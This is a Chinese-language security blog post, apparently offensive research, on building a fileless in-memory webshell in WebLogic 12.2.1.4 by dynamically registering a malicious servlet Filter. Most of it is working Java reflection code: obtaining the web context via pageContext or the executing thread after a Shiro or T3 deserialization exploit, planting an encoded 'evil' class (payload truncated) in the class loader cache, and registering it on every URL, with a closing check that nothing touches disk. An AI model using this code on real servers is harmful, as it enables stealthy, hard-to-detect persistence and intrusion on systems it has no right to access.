上篇文章中着重研究了tomcat的內存馬以及實現方法。這篇文章主要研究了weblogic的內存馬實現原理。在這里實現的原理與tomcat基本相同,同樣使用動態注冊Filter 的方式。下面分析一下weblogic在請求中是如何獲取FilterChain。
以下分析基於 weblogic 12.2.1.4
0x01 weblogic FilterChain實現
創建一個Filter,隨便打一個斷點,觀察此時的堆棧信息,如圖
通過跟蹤堆棧信息,我們可以找到,在wrapRun函數中,會判斷系統中是否存在filter以及listener。如果存在,則獲取FilterChain,然后依次調用Filter。原理與tomcat類似。相關代碼如下
weblogic.servlet.internal.WebAppServletContext.ServletInvocationAction#wrapRun 函數
if (!invocationContext.hasFilters() && !invocationContext.hasRequestListeners()) {
this.stub.execute(this.req, this.rsp);
} else {
FilterChainImpl fc = invocationContext.getFilterChain(this.stub, this.req, this.rsp);
if (fc == null) {
this.stub.execute(this.req, this.rsp);
} else {
fc.doFilter(this.req, this.rsp);
}
}
而getFilterChain的代碼在 weblogic.servlet.internal.FilterManager中。weblogic中主要使用FilterManager去管理系統中的Filter,包括動態注冊一個Filter,獲取FilterChain等。動態注冊一個Filter的代碼如下
void registerFilter(String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers) throws DeploymentException {
FilterWrapper fw = new FilterWrapper(filterName, filterClassName, initParams, this.context);
if (this.loadFilter(fw)) {
EnumSet<DispatcherType> types = FilterManager.FilterInfo.translateDispatcherType(dispatchers, this.context, filterName);
if (urlPatterns != null) {
this.addMappingForUrlPatterns(filterName, types, true, urlPatterns);
}
if (servletNames != null) {
this.addMappingForServletNames(filterName, types, true, servletNames);
}
this.filters.put(filterName, fw);
}
}
0x02 內存馬實現
技術難點主要有以下幾點:
- 怎么尋找FilterManager
- weblogic中類加載器機制
1. 尋找FilterManager
weblogic中,context會存放FilterManager。所以,這個問題轉換為如何獲取context。有兩種方法
pageContext
jsp頁面中的pageContext對象中,存有context對象。可以通過反射獲取。這種比較適合直接上傳jsp文件獲取webshell權限的情況。代碼如下
Field contextF = pageContext.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(pageContext);
線程中
這種情況比較適合shiro,T3等反序列化漏洞,在無法上傳文件,但是可以直接通過反序列化獲取weblogic權限的情況。這種情況下不需要pageContext對象,在線程中查找context對象。代碼如下
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
2. FilterWrapper中類加載器機制
這里只針對於加載Filter的情況去討論。在FilterManager的registerFilter方法中,主要通過FilterWrapper類去包裝Filter類。但是FilterWrapper類的構造函數中,並沒有可以傳遞Class的參數,只可以傳遞ClassName,FilterManager通過ClassName去查找Class。下面我們分析一下實現過程
在FilterManager的loadFilter中,Filter將會在這里實例化。代碼如下
weblogic.servlet.internal.FilterManager#loadFilter
boolean loadFilter(FilterWrapper filterWrapper) {
String filterClassName = filterWrapper.getFilterClassName();
filter = (Filter)this.context.createInstance(filterClassName);
filterWrapper.setFilter((String)null, (Class)null, filter, false);
}
在filterWrapper.getFilterClassName中獲取FilterClass的名稱,然后通過context的createInstance方法去實例化。下面是createInstance的代碼
Object createInstance(String className) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
Class<?> clazz = this.classLoader.loadClass(className);
return this.createInstance(clazz);
}
在這里通過調用classloader的loadClass方法去根據名稱查找Class。我們知道weblogic自定義了一個classloader,所以我們繼續深入loadCLass方法,代碼如下
weblogic.utils.classloaders.ChangeAwareClassLoader#loadClass(java.lang.String, boolean)
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized(this.getClassLoadingLock(name)) {
Class res = (Class)this.cachedClasses.get(name);
if (res != null) {
return res;
} else if (!this.childFirst) {
return super.loadClass(name, resolve);
我們可以看出,ChangeAwareClassLoader會首先從cache中查找是否存在待查找的類,如果存在,則直接返回該名稱對應的Class。
所以我們為了使自己待動態加載的Filter可以被FilterManager成功查找,最簡單的方法是在這個緩存中動手腳。代碼如下
/*
第一步,將evilClass加載到classloader的cachedClasses中
*/
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses");
cachedClassesF.setAccessible(true);
Object cachedClass = cachedClassesF.get(cl);
Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class);
if (getM.invoke(cachedClass, "bingxie") == null) {
// 判斷一下,防止多次加載惡意filter, 默認只加載一次,不需要重復加載
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "H4sIAAAAAAAAAKV..........";
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilterClass = (Class) defineClass.invoke(cl, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
// 在這里 惡意類名稱為 bingxie filter 名稱為test
Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class);
putM.invoke(cachedClass, "bingxie", evilFilterClass);
上面兩個技術難點解決后,我們就可以向FilterManager中動態注冊一個Filter。代碼比較簡單,如下
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
// String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers
registerFilterM.setAccessible(true);
registerFilterM.invoke(filterManager, "test", "bingxie", new String[]{"/*"}, null, null, null);
0x03 成果檢驗
檢查weblogic,無文件落地。重啟weblogic后,webshell消失